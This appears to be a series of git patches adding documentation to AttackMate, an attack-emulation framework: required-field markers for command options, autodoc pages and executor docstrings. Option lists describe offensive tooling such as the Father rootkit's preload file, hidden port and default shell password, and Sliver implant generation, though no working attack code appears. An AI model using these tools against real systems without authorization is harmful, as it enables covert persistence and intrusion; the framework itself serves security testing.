JSON list of HID devices discovered in the current session. Optional. Filter results to a specific device by MAC address. :type: str + :required: False .. code-block:: yaml @@ -215,9 +216,10 @@ Get a JSON list of BLE devices discovered in the current session. .. confval:: mac - Optional parameter to return the info of a specific device by MAC address. + Optional. Return the info of a specific device by MAC address. :type: str + :required: False .. code-block:: yaml @@ -239,9 +241,10 @@ Get a JSON of the lan devices in the current session. .. confval:: mac - Optional parameter to return the info of a specific device by MAC address. + Optional. Return the info of a specific device by MAC address. :type: str + :required: False .. code-block:: yaml @@ -263,9 +266,10 @@ Get a JSON of the wifi devices (clients and access points) in the current sessio .. confval:: mac - Optional parameter to return the info of a specific device by MAC address. + Optional. Return the info of a specific device by MAC address. :type: str + :required: False .. code-block:: yaml diff --git a/docs/source/playbook/commands/browser.rst b/docs/source/playbook/commands/browser.rst index ed48a7a6..3733e195 100644 --- a/docs/source/playbook/commands/browser.rst +++ b/docs/source/playbook/commands/browser.rst @@ -52,30 +52,35 @@ Execute commands using a Playwright-managed Chromium browser. This executor can Specifies the browser action to execute. One of ``visit``, ``click``, ``type``, ``screenshot``. :type: str + :default: ``visit`` .. confval:: url URL to navigate to for the ``visit`` command. :type: str + :required: when ``cmd: visit`` .. confval:: selector CSS selector identifying the target element to interact with for the ``click`` or ``type`` commands. :type: str + :required: when ``cmd: click`` OR ``cmd: type`` .. confval:: text Text to type into the specified element for the ``type`` command. :type: str + :required: when ``cmd: type`` .. confval:: screenshot_path Filepath where a screenshot should be saved for the ``screenshot`` command. :type: str + :required: when ``cmd: screenshot`` .. confval:: creates_session @@ -85,6 +90,7 @@ Execute commands using a Playwright-managed Chromium browser. This executor can If a session with the same name already exists, it is automatically closed and replaced. :type: str + :required: False .. confval:: session @@ -95,12 +101,17 @@ Execute commands using a Playwright-managed Chromium browser. This executor can :type: str + :required: False + .. confval:: headless Run the browser in headless mode. Useful for CI/CD pipelines or servers without a GUI. :type: bool + + :required: False + :default: ``False`` Example: diff --git a/docs/source/playbook/commands/debug.rst b/docs/source/playbook/commands/debug.rst index d938eebd..b837dc1d 100644 --- a/docs/source/playbook/commands/debug.rst +++ b/docs/source/playbook/commands/debug.rst @@ -3,7 +3,7 @@ debug ===== The ``debug`` command prints messages and variables to the console. It is intended for -troubleshooting playbooks and does not modify ``RESULT_STDOUT``. +troubleshooting playbooks and does not modify ``RESULT_STDOUT`` (:ref:`builtin variables `). .. code-block:: yaml @@ -22,6 +22,7 @@ troubleshooting playbooks and does not modify ``RESULT_STDOUT``. :type: str :default: ``empty_string`` + :required: False .. confval:: varstore @@ -30,6 +31,7 @@ troubleshooting playbooks and does not modify ``RESULT_STDOUT``. :type: bool :default: ``False`` + :required: False .. confval:: exit @@ -39,6 +41,7 @@ troubleshooting playbooks and does not modify ``RESULT_STDOUT``. :type: bool :default: ``False`` + :required: False .. confval:: wait_for_key @@ -47,3 +50,4 @@ troubleshooting playbooks and does not modify ``RESULT_STDOUT``. :type: bool :default: ``False`` + :required: False diff --git a/docs/source/playbook/commands/father.rst b/docs/source/playbook/commands/father.rst index e0116368..5ce2a603 100644 --- a/docs/source/playbook/commands/father.rst +++ b/docs/source/playbook/commands/father.rst @@ -30,6 +30,7 @@ Father can be found at `this GitHub-Page `_ :type: int :default: ``1337`` + :required: False .. confval:: srcport @@ -37,6 +38,7 @@ Father can be found at `this GitHub-Page `_ :type: int :default: ``54321`` + :required: False .. confval:: epochtime @@ -44,6 +46,7 @@ Father can be found at `this GitHub-Page `_ :type: int :default: ``0000000000`` + :required: False .. confval:: env_var @@ -52,6 +55,7 @@ Father can be found at `this GitHub-Page `_ :type: str :default: ``lobster`` + :required: False .. confval:: file_prefix @@ -59,6 +63,7 @@ Father can be found at `this GitHub-Page `_ :type: str :default: ``lobster`` + :required: False .. confval:: preload_file @@ -66,6 +71,7 @@ Father can be found at `this GitHub-Page `_ :type: str :default: ``ld.so.preload`` + :required: False .. confval:: hiddenport @@ -73,6 +79,7 @@ Father can be found at `this GitHub-Page `_ :type: str(hex) :default: ``D431`` + :required: False .. confval:: shell_pass @@ -80,6 +87,7 @@ Father can be found at `this GitHub-Page `_ :type: str :default: ``lobster`` + :required: False .. confval:: install_path @@ -87,6 +95,7 @@ Father can be found at `this GitHub-Page `_ :type: str :default: ``/lib/selinux.so.3`` + :required: False .. confval:: local_path @@ -94,6 +103,7 @@ Father can be found at `this GitHub-Page `_ If not set, the builder will generate a temporary path. :type: str + :required: False .. confval:: arch @@ -102,6 +112,7 @@ Father can be found at `this GitHub-Page `_ :type: str :default: ``amd64`` + :required: False .. confval:: build_command @@ -110,3 +121,4 @@ Father can be found at `this GitHub-Page `_ :type: str :default: ``make`` + :required: False diff --git a/docs/source/playbook/commands/httpclient.rst b/docs/source/playbook/commands/httpclient.rst index d996bca6..0d5be17f 100644 --- a/docs/source/playbook/commands/httpclient.rst +++ b/docs/source/playbook/commands/httpclient.rst @@ -40,6 +40,7 @@ Send HTTP requests with support for common methods, custom headers, cookies, and :type: str :default: ``GET`` + :required: False .. confval:: url @@ -54,18 +55,21 @@ Send HTTP requests with support for common methods, custom headers, cookies, and :type: str :default: ``False`` + :required: False .. confval:: headers Additional HTTP headers to include in the request. :type: dict[str,str] + :required: False .. confval:: cookies Cookies to send in the ``Cookie`` header. :type: dict[str,str] + :required: False .. confval:: data @@ -73,6 +77,7 @@ Send HTTP requests with support for common methods, custom headers, cookies, and Typically used with ``POST``. :type: dict[str,str] + :required: False .. confval:: local_path @@ -80,6 +85,7 @@ Send HTTP requests with support for common methods, custom headers, cookies, and for WebDAV uploads. :type: str + :required: False .. confval:: useragent @@ -87,6 +93,7 @@ Send HTTP requests with support for common methods, custom headers, cookies, and :type: str :default: ``AttackMate`` + :required: False .. confval:: follow @@ -94,6 +101,7 @@ Send HTTP requests with support for common methods, custom headers, cookies, and :type: bool :default: ``False`` + :required: False .. confval:: verify @@ -102,6 +110,7 @@ Send HTTP requests with support for common methods, custom headers, cookies, and :type: bool :default: ``False`` + :required: False .. confval:: http2 @@ -109,3 +118,4 @@ Send HTTP requests with support for common methods, custom headers, cookies, and :type: bool :default: ``False`` + :required: False diff --git a/docs/source/playbook/commands/json.rst b/docs/source/playbook/commands/json.rst index b14d4a88..1dfbface 100644 --- a/docs/source/playbook/commands/json.rst +++ b/docs/source/playbook/commands/json.rst @@ -83,6 +83,7 @@ Configuration Path to a JSON file to parse. Takes precedence over ``cmd`` if both are set. :type: str + :required: Either ``local_path`` or ``cmd`` must be provided. .. confval:: cmd @@ -90,6 +91,7 @@ Configuration is a valid JSON string. :type: str + :required: Either ``local_path`` or ``cmd`` must be provided. .. confval:: varstore @@ -97,6 +99,7 @@ Configuration :type: bool :default: ``False`` + :required: False Examples -------- diff --git a/docs/source/playbook/commands/regex.rst b/docs/source/playbook/commands/regex.rst index 69496a3f..c74b8acd 100644 --- a/docs/source/playbook/commands/regex.rst +++ b/docs/source/playbook/commands/regex.rst @@ -61,15 +61,17 @@ Using ``mode: split``, a string can be tokenized by a delimiter, in this case, w * ``split`` - split the string by occurrences of the pattern * ``sub`` - replace occurrences of the pattern with :confval:`replace` - :type: str - :default: ``findall`` + :type: str + :default: ``findall`` + :required: False .. confval:: replace -`` - This variable must be set for ``mode: sub``. It holds the replacement-string for the substitution. - :type: str - :default: ``None`` + This variable must be set for ``mode: sub``. It holds the replacement-string for the substitution. + + :type: str + :default: ``None`` + :required: when ``mode: sub`` .. code-block:: yaml @@ -97,23 +99,25 @@ Using ``mode: split``, a string can be tokenized by a delimiter, in this case, w :type: str :default: ``RESULT_STDOUT`` + :required: False .. confval:: output Mapping of variable names to match references (e.g. ``MYVAR: $MATCH_0``). + + :type: dict[str,str] + :required: True + Matches are indexed as ``$MATCH_0``, ``$MATCH_1``, etc. For nested results (lists of tuples), matches are indexed as ``$MATCH_0_0``, ``$MATCH_0_1``, etc. If the pattern does not match, no output variables are set. If ``sub`` or ``split`` find no match, the original input string is returned. - The builtin variable ``REGEX_MATCHES_LIST`` is also populated with a list of + The :ref:`builtin variables ` ``REGEX_MATCHES_LIST`` is also populated with a list of all matches whenever the command produces results. .. note:: - Running AttackMate in debug mode prints a full dump of all matches. - - :type: dict[str,str] - :required: True + Running AttackMate in debug mode (--debug) prints a full dump of all matches. diff --git a/docs/source/playbook/commands/remote.rst b/docs/source/playbook/commands/remote.rst index 8ec2d556..a7011b55 100644 --- a/docs/source/playbook/commands/remote.rst +++ b/docs/source/playbook/commands/remote.rst @@ -72,6 +72,7 @@ Options Requires ``playbook_path`` :type: str (``execute_command`` | ``execute_playbook``) + :required: True .. confval:: connection @@ -80,6 +81,7 @@ Options :type: str :default: first entry in ``remote_config`` + :required: False .. confval:: playbook_path @@ -87,6 +89,7 @@ Options Required when ``cmd`` is ``execute_playbook``. :type: str + :required: when ``cmd: execute_playbook`` .. confval:: remote_command @@ -95,6 +98,7 @@ Options (e.g., ``type: shell``, ``type: sliver``, etc., EXCEPT ``type: remote`` itself). Required when ``cmd`` is ``execute_command``. :type: RemotelyExecutableCommand + :required: when ``cmd: execute_command`` Examples diff --git a/docs/source/playbook/commands/sftp.rst b/docs/source/playbook/commands/sftp.rst index e4d2d0d8..0d5839e1 100644 --- a/docs/source/playbook/commands/sftp.rst +++ b/docs/source/playbook/commands/sftp.rst @@ -70,6 +70,7 @@ File Transfer File permissions to set on the remote file after upload (e.g. ``755``). :type: str + :required: False Connection ---------- @@ -126,6 +127,7 @@ Connection :type: bool :default: ``False`` + :required: False Sessions -------- @@ -143,6 +145,7 @@ Sessions via :confval:`creates_session` in an ``sftp`` or ``ssh`` command. :type: str + :required: False Jump Host --------- diff --git a/docs/source/playbook/commands/shell.rst b/docs/source/playbook/commands/shell.rst index ab9bc8f0..32d5dfea 100644 --- a/docs/source/playbook/commands/shell.rst +++ b/docs/source/playbook/commands/shell.rst @@ -27,6 +27,7 @@ Execute local shell commands. :type: str :default: ``/bin/sh`` + :required: False Interactive Mode ---------------- @@ -37,6 +38,7 @@ Interactive Mode :type: bool :default: ``False`` + :required: False Instead of waiting for the command to finish, AttackMate reads output until no new output appears for :confval:`command_timeout` @@ -72,6 +74,7 @@ Interactive Mode Only meaningful when :confval:`interactive` is ``True``. :type: str + :required: False .. confval:: session @@ -80,6 +83,7 @@ Interactive Mode set to ``True``. :type: str + :required: False .. confval:: command_timeout @@ -87,6 +91,7 @@ Interactive Mode :type: int :default: ``15`` + :required: False .. confval:: read @@ -96,6 +101,7 @@ Interactive Mode :type: bool :default: ``True`` + :required: False Binary Mode ----------- @@ -107,6 +113,7 @@ Binary Mode :type: bool :default: ``False`` + :required: False .. code-block:: yaml diff --git a/docs/source/playbook/commands/sleep.rst b/docs/source/playbook/commands/sleep.rst index 49cda241..a2344776 100644 --- a/docs/source/playbook/commands/sleep.rst +++ b/docs/source/playbook/commands/sleep.rst @@ -29,6 +29,7 @@ Pause execution for a fixed or randomised number of seconds. :type: bool :default: ``False`` + :required: False .. confval:: min_sec @@ -38,6 +39,7 @@ Pause execution for a fixed or randomised number of seconds. :type: int :default: ``0`` + :required: False .. code-block:: yaml diff --git a/docs/source/playbook/commands/sliver.rst b/docs/source/playbook/commands/sliver.rst index 9a061248..8a816581 100644 --- a/docs/source/playbook/commands/sliver.rst +++ b/docs/source/playbook/commands/sliver.rst @@ -109,7 +109,7 @@ generate_implant ---------------- Generates a new sliver binary and saves the implant to a given path or to /tmp/. -The path to the implant is saved and can be retrieved from the builtin variable ``$LAST_SLIVER_IMPLANT``. +The path to the implant is saved and can be retrieved from the :ref:`builtin variable ` ``$LAST_SLIVER_IMPLANT``. .. code-block:: yaml diff --git a/docs/source/playbook/commands/ssh.rst b/docs/source/playbook/commands/ssh.rst index 54b49428..0afbb608 100644 --- a/docs/source/playbook/commands/ssh.rst +++ b/docs/source/playbook/commands/ssh.rst @@ -78,6 +78,8 @@ Connection Timeout in seconds for connection attempts. :type: float + :default: ``60`` + :required: False .. confval:: clear_cache @@ -87,6 +89,7 @@ Connection :type: bool :default: ``False`` + :required: False Sessions -------- @@ -137,6 +140,7 @@ Interactive Mode :type: bool :default: ``False`` + :required: False Instead of waiting for the command to finish, AttackMate reads output until no new output appears for :confval:`command_timeout` @@ -179,6 +183,7 @@ Interactive Mode :type: int :default: ``15`` + :required: False .. confval:: prompts @@ -188,6 +193,7 @@ Interactive Mode :type: list[str] :default: ``["$ ", "# ", "> "]`` + :required: False .. code-block:: yaml @@ -230,6 +236,7 @@ Binary Mode :type: bool :default: ``False`` + :required: False .. code-block:: yaml diff --git a/docs/source/playbook/commands/webserv.rst b/docs/source/playbook/commands/webserv.rst index 01fe7526..03dd7457 100644 --- a/docs/source/playbook/commands/webserv.rst +++ b/docs/source/playbook/commands/webserv.rst @@ -31,6 +31,7 @@ handling the first request. Set :confval:`keep_serving` to ``True`` to continue :type: int :default: ``8000`` + :required: False .. confval:: address @@ -38,6 +39,7 @@ handling the first request. Set :confval:`keep_serving` to ``True`` to continue :type: str :default: ``0.0.0.0`` + :required: False .. confval:: keep_serving @@ -45,3 +47,4 @@ handling the first request. Set :confval:`keep_serving` to ``True`` to continue :type: bool :default: ``False`` + :required: False From a757a04e3dfbfa3195db9ca175a2242cb8e0f81a Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 15:25:38 +0100 Subject: [PATCH 37/40] enable autodocs --- docs/source/attackmate/attackmate.rst | 365 +++++++++++++++++++++-- docs/source/conf.py | 2 +- src/attackmate/attackmate.py | 9 + src/attackmate/executors/baseexecutor.py | 132 ++++++-- 4 files changed, 452 insertions(+), 56 deletions(-) diff --git a/docs/source/attackmate/attackmate.rst b/docs/source/attackmate/attackmate.rst index bbc2dec7..6c2199a7 100644 --- a/docs/source/attackmate/attackmate.rst +++ b/docs/source/attackmate/attackmate.rst @@ -1,77 +1,382 @@ attackmate package -============== +================== -Submodules ----------- +Core +---- -attackmate.baseexecutor module --------------------------- +.. automodule:: attackmate.attackmate + :members: + :undoc-members: + :show-inheritance: -.. automodule:: attackmate.baseexecutor +.. automodule:: attackmate.metadata :members: :undoc-members: :show-inheritance: -attackmate.metadata module ----------------------- +.. automodule:: attackmate.variablestore + :members: + :undoc-members: + :show-inheritance: -.. automodule:: attackmate.metadata +.. automodule:: attackmate.result :members: :undoc-members: :show-inheritance: -attackmate.msfexecutor module -------------------------- +.. automodule:: attackmate.processmanager + :members: + :undoc-members: + :show-inheritance: -.. automodule:: attackmate.msfexecutor +.. automodule:: attackmate.command :members: :undoc-members: :show-inheritance: -attackmate.attackmate module --------------------- +Schemas +------- -.. automodule:: attackmate.attackmate +.. automodule:: attackmate.schemas.base :members: :undoc-members: :show-inheritance: -attackmate.schemas module ---------------------- +.. automodule:: attackmate.schemas.config + :members: + :undoc-members: + :show-inheritance: -.. automodule:: attackmate.schemas +.. automodule:: attackmate.schemas.command_types :members: :undoc-members: :show-inheritance: -attackmate.shellexecutor module ---------------------------- +.. automodule:: attackmate.schemas.command_subtypes + :members: + :undoc-members: + :show-inheritance: -.. automodule:: attackmate.shellexecutor +.. automodule:: attackmate.schemas.bettercap :members: :undoc-members: :show-inheritance: -attackmate.sleepexecutor module ---------------------------- +.. automodule:: attackmate.schemas.browser + :members: + :undoc-members: + :show-inheritance: -.. automodule:: attackmate.sleepexecutor +.. automodule:: attackmate.schemas.debug :members: :undoc-members: :show-inheritance: -attackmate.varparse module ----------------------- +.. automodule:: attackmate.schemas.father + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.schemas.http + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.schemas.include + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.schemas.json + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.schemas.loop + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.schemas.metasploit + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.schemas.playbook + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.schemas.regex + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.schemas.remote + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.schemas.setvar + :members: + :undoc-members: + :show-inheritance: -.. automodule:: attackmate.varparse +.. automodule:: attackmate.schemas.shell :members: :undoc-members: :show-inheritance: -Module contents ---------------- +.. automodule:: attackmate.schemas.sleep + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.schemas.sliver + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.schemas.ssh + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.schemas.tempfile + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.schemas.vnc + :members: + :undoc-members: + :show-inheritance: + +Executors +--------- + +.. automodule:: attackmate.executors.baseexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.executor_factory + :members: + :undoc-members: + :show-inheritance: + +Executor Features +^^^^^^^^^^^^^^^^^ + +.. automodule:: attackmate.executors.features.background + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.features.cmdvars + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.features.conditional + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.features.exitonerror + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.features.looper + :members: + :undoc-members: + :show-inheritance: + +Bettercap +^^^^^^^^^ + +.. automodule:: attackmate.executors.bettercap.bettercapexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.bettercap.client + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.bettercap.api + :members: + :undoc-members: + :show-inheritance: + +Browser +^^^^^^^ + +.. automodule:: attackmate.executors.browser.browserexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.browser.sessionstore + :members: + :undoc-members: + :show-inheritance: + +Common +^^^^^^ + +.. automodule:: attackmate.executors.common.debugexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.common.includeexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.common.jsonexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.common.loopexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.common.regexexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.common.setvarexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.common.sleepexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.common.tempfileexecutor + :members: + :undoc-members: + :show-inheritance: + +Father +^^^^^^ + +.. automodule:: attackmate.executors.father.fatherexecutor + :members: + :undoc-members: + :show-inheritance: + +HTTP +^^^^ + +.. automodule:: attackmate.executors.http.httpclientexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.http.webservexecutor + :members: + :undoc-members: + :show-inheritance: + +Metasploit +^^^^^^^^^^ + +.. automodule:: attackmate.executors.metasploit.msfexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.metasploit.msfpayloadexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.metasploit.msfsessionexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.metasploit.msfsessionstore + :members: + :undoc-members: + :show-inheritance: + +Remote +^^^^^^ + +.. automodule:: attackmate.executors.remote.remoteexecutor + :members: + :undoc-members: + :show-inheritance: + +Shell +^^^^^ + +.. automodule:: attackmate.executors.shell.shellexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.shell.sessionstore + :members: + :undoc-members: + :show-inheritance: + +Sliver +^^^^^^ + +.. automodule:: attackmate.executors.sliver.sliverexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.sliver.sliversessionexecutor + :members: + :undoc-members: + :show-inheritance: + +SSH +^^^ + +.. automodule:: attackmate.executors.ssh.sshexecutor + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.ssh.sftpfeature + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.ssh.interactfeature + :members: + :undoc-members: + :show-inheritance: + +.. automodule:: attackmate.executors.ssh.sessionstore + :members: + :undoc-members: + :show-inheritance: + +VNC +^^^ + +.. automodule:: attackmate.executors.vnc.vncexecutor + :members: + :undoc-members: + :show-inheritance: -.. automodule:: attackmate +.. automodule:: attackmate.executors.vnc.sessionstore :members: :undoc-members: :show-inheritance: diff --git a/docs/source/conf.py b/docs/source/conf.py index fa9c9dcb..54deb5ed 100644 --- a/docs/source/conf.py +++ b/docs/source/conf.py @@ -8,7 +8,7 @@ import os import sys -sys.path.insert(0, os.path.abspath('../..')) +sys.path.insert(0, os.path.abspath('../../src')) project = 'AttackMate' copyright = '2023, Wolfgang Hotwagner' diff --git a/src/attackmate/attackmate.py b/src/attackmate/attackmate.py index f629a7ed..082653ac 100644 --- a/src/attackmate/attackmate.py +++ b/src/attackmate/attackmate.py @@ -23,6 +23,15 @@ class AttackMate: + """ + Reads a playbook and executes the attack chain. + + :param playbook: The playbook to execute. + :param config: AttackMate configuration. + :param varstore: Initial variable store. + :param is_api_instance: Whether this instance is used as an API. + """ + def __init__( self, playbook: Optional[Playbook] = None, diff --git a/src/attackmate/executors/baseexecutor.py b/src/attackmate/executors/baseexecutor.py index dfe559d2..1e331bd7 100644 --- a/src/attackmate/executors/baseexecutor.py +++ b/src/attackmate/executors/baseexecutor.py @@ -20,14 +20,22 @@ class BaseExecutor(ExitOnError, CmdVars, Looper, Background): """ + Base class for all AttackMate executors. - The BaseExecutor is the base class of all Executors. - It enables base functionality for all Executors and - provides a structure for all Executors. + Provides the core execution pipeline for commands, including variable + substitution, conditional execution (``only_if``), background mode, + loop control (``loop_if`` / ``loop_if_not``), error handling, output + logging, and JSON audit logging. - In order to create a custom Executor, one must simply - derive from the BaseExecutor and implement the method - _exec_cmd() + To implement a custom executor, subclass ``BaseExecutor`` and override + :meth:`_exec_cmd`. All other pipeline behaviour is inherited. + + Example:: + + class MyExecutor(BaseExecutor): + async def _exec_cmd(self, command: MyCommand) -> Result: + output = run_my_tool(command.cmd) + return Result(stdout=output, returncode=0) """ @@ -38,17 +46,24 @@ def __init__( cmdconfig=CommandConfig(), substitute_cmd_vars=True, is_api_instance: bool = False): - """Constructor for BaseExecutor + """ + Initialise the executor with shared infrastructure. + Parameters ---------- pm : ProcessManager - Process manager instance. + Process manager used to track and clean up background processes. varstore : VariableStore - Variable store instance. - cmdconfig : CommandConfig, default `None` - Command configuration settings. - substitute_cmd_vars : bool, default `True` - Flag to enable or disable variable substitution in command.cmd + Variable store used for template substitution in commands. + cmdconfig : CommandConfig, optional + Global command configuration (e.g. delays, loop defaults). + Defaults to an empty ``CommandConfig``. + substitute_cmd_vars : bool, optional + If ``True`` (default), variable references in ``command.cmd`` + are substituted from the variable store before execution. + is_api_instance : bool, optional + If ``True``, suppresses ``exit_on_error`` behaviour so that + API callers receive errors as results rather than process exits. """ Background.__init__(self, pm) @@ -63,19 +78,29 @@ def __init__( self.is_api_instance = is_api_instance async def run(self, command: BaseCommand, is_api_instance: bool = False) -> Result: - """Execute the command + """ + Entry point for executing a command. - This method is executed by AttackMate and - executes the given command. This method sets the - run_count to 1 and runs the method exec(). Please note - that this function will exchange all variables of the BaseCommand - with the values of the VariableStore if substitute_cmd_vars is True! + Called by AttackMate for each command in the playbook. Evaluates the + ``only_if`` condition first and skips the command if it is not met. + In background mode, the command is dispatched asynchronously and + returns immediately with a placeholder result. Otherwise, the full + synchronous execution pipeline is run via :meth:`exec`. Parameters ---------- command : BaseCommand - The settings for the command to execute + The command to execute, including all configured options. + is_api_instance : bool, optional + Overrides the instance-level ``is_api_instance`` flag for this + execution. Defaults to ``False``. + Returns + ------- + Result + The result of the command execution, containing stdout and + return code. Returns ``Result(None, None)`` if the ``only_if`` + condition is not met. """ self.is_api_instance = is_api_instance if command.only_if: @@ -101,15 +126,30 @@ async def run(self, command: BaseCommand, is_api_instance: bool = False) -> Resu return result def log_command(self, command): - """Log starting-status of the command""" + """Log the start of a command execution at INFO level.""" self.logger.info(f"Executing '{command}'") def log_metadata(self, logger: logging.Logger, command): - """Log metadata of the command""" + """Log command metadata as a JSON string, if present.""" if command.metadata: logger.info(f'Metadata: {json.dumps(command.metadata)}') def log_json(self, logger: logging.Logger, command, time): + """ + Serialize a command to JSON and write it to the JSON audit log. + + If serialization fails due to non-serializable types, a warning is + logged instead and execution continues. + + Parameters + ---------- + logger : logging.Logger + The logger to write the JSON entry to. + command : BaseCommand + The command to serialize. + time : str + ISO 8601 timestamp of when the command started. + """ command_dict = self.make_command_serializable(command, time) try: @@ -143,9 +183,17 @@ def make_command_serializable(self, command, time): return command_dict def save_output(self, command: BaseCommand, result: Result): - """Save output of command to a file. This method will - ignore all exceptions and won't stop the programm - on error. + """ + Write command output to a file if ``command.save`` is set. + + Failures are logged as warnings and do not interrupt execution. + + Parameters + ---------- + command : BaseCommand + The command whose output should be saved. + result : Result + The result containing the stdout to write. """ if command.save: try: @@ -155,6 +203,23 @@ def save_output(self, command: BaseCommand, result: Result): self.logger.warning(f'Unable to write output to file {command.save}: {e}') async def exec(self, command: BaseCommand) -> Result: + """ + Run the full synchronous execution pipeline for a command. + + Calls :meth:`_exec_cmd`, then handles JSON logging, output saving, + error checking, variable store updates, and loop condition evaluation. + + Parameters + ---------- + command : BaseCommand + The command to execute. + + Returns + ------- + Result + The result of the command, or a ``Result(str(error), 1)`` if an + :class:`~attackmate.execexception.ExecException` is raised. + """ try: self.log_command(command) self.log_metadata(self.logger, command) @@ -179,4 +244,21 @@ async def _loop_exec(self, command: BaseCommand) -> Result: return result async def _exec_cmd(self, command: Any) -> Result: + """ + Execute the command. Override this method in subclasses. + + This is the only method that must be implemented in a custom executor. + The base implementation is a no-op that returns ``Result(None, None)``. + + Parameters + ---------- + command : Any + The command to execute. Subclasses should type this as their + specific command schema class. + + Returns + ------- + Result + The result of the command execution. + """ return Result(None, None) From f41512509d78f40d70a011b9d23c75258ceeb716 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 15:25:57 +0100 Subject: [PATCH 38/40] docs small fixes --- docs/source/playbook/commands/ssh.rst | 2 ++ docs/source/playbook/commands/vnc.rst | 13 +++++++++++++ 2 files changed, 15 insertions(+) diff --git a/docs/source/playbook/commands/ssh.rst b/docs/source/playbook/commands/ssh.rst index 0afbb608..a36e7a4c 100644 --- a/docs/source/playbook/commands/ssh.rst +++ b/docs/source/playbook/commands/ssh.rst @@ -1,3 +1,5 @@ +.. _ssh: + === ssh === diff --git a/docs/source/playbook/commands/vnc.rst b/docs/source/playbook/commands/vnc.rst index 5d996453..7dd3b80a 100644 --- a/docs/source/playbook/commands/vnc.rst +++ b/docs/source/playbook/commands/vnc.rst @@ -72,6 +72,7 @@ Connection :type: int :default: ``5900`` + :required: False .. confval:: display @@ -79,6 +80,7 @@ Connection :type: int :default: ``1`` + :required: False .. confval:: password @@ -93,6 +95,7 @@ Connection :type: int :default: ``10`` + :required: False .. confval:: expect_timeout @@ -102,6 +105,7 @@ Connection :type: int :default: ``60`` + :required: False Sessions -------- @@ -113,6 +117,7 @@ Sessions named ``default`` is created automatically. :type: str + :required: False .. confval:: session @@ -120,6 +125,7 @@ Sessions previously via :confval:`creates_session`. :type: str + :required: False Actions ------- @@ -130,6 +136,7 @@ Actions against the current screen (``expectscreen``). :type: str + :required: when ``cmd: capture`` or ``cmd: expectscreen`` .. confval:: maxrms @@ -137,27 +144,33 @@ Actions ``expectscreen``. Lower values require a closer match. :type: float + :default: ``0`` + :required: False .. confval:: input Text to type on the remote host. Used with the ``type`` command. :type: str + :required: when ``cmd: type`` .. confval:: key Key to press on the remote host. Used with the ``key`` command. :type: str + :required: when ``cmd: key`` .. confval:: x Horizontal cursor position for the ``move`` command. :type: int + :required: when ``cmd: move`` .. confval:: y Vertical cursor position for the ``move`` command. :type: int + :required: when ``cmd: move`` From 348d3304a5c93ab40aabf4de618e8f84f69a9292 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 15:51:53 +0100 Subject: [PATCH 39/40] update readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index b4327f5b..bfe416d5 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -AttackMate Logo +AttackMate Logo ========== [![Build Status](https://aecidjenkins.ait.ac.at/buildStatus/icon?job=AECID%2FAECID%2Fattackmate%2Fmain)]( "https://aecidjenkins.ait.ac.at/job/AECID/job/AECID/job/attackmate/job/main/") From d6c36106e62a0d063418efc46d8bb8f4979d7a3b Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 16:13:41 +0100 Subject: [PATCH 40/40] add waing on python comparing conventions --- docs/source/playbook/commands/index.rst | 38 ++++++++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) diff --git a/docs/source/playbook/commands/index.rst b/docs/source/playbook/commands/index.rst index 23620e76..f0909163 100644 --- a/docs/source/playbook/commands/index.rst +++ b/docs/source/playbook/commands/index.rst @@ -128,16 +128,19 @@ Every command, regardless of its type supports the following general options: .. code-block:: yaml commands: + # Get the PID of the running mysqld process: - type: shell cmd: pgrep mysqld + # Extract the first captured group from the output, splitting on newlines. + # Stores the result in $KILLPID via the MATCH_0 capture variable: - type: regex mode: split cmd: "\n" output: KILLPID: $MATCH_0 - # Only kill if it is not the init process: + # Only kill if it is not the init process with PID 1: - type: shell cmd: kill 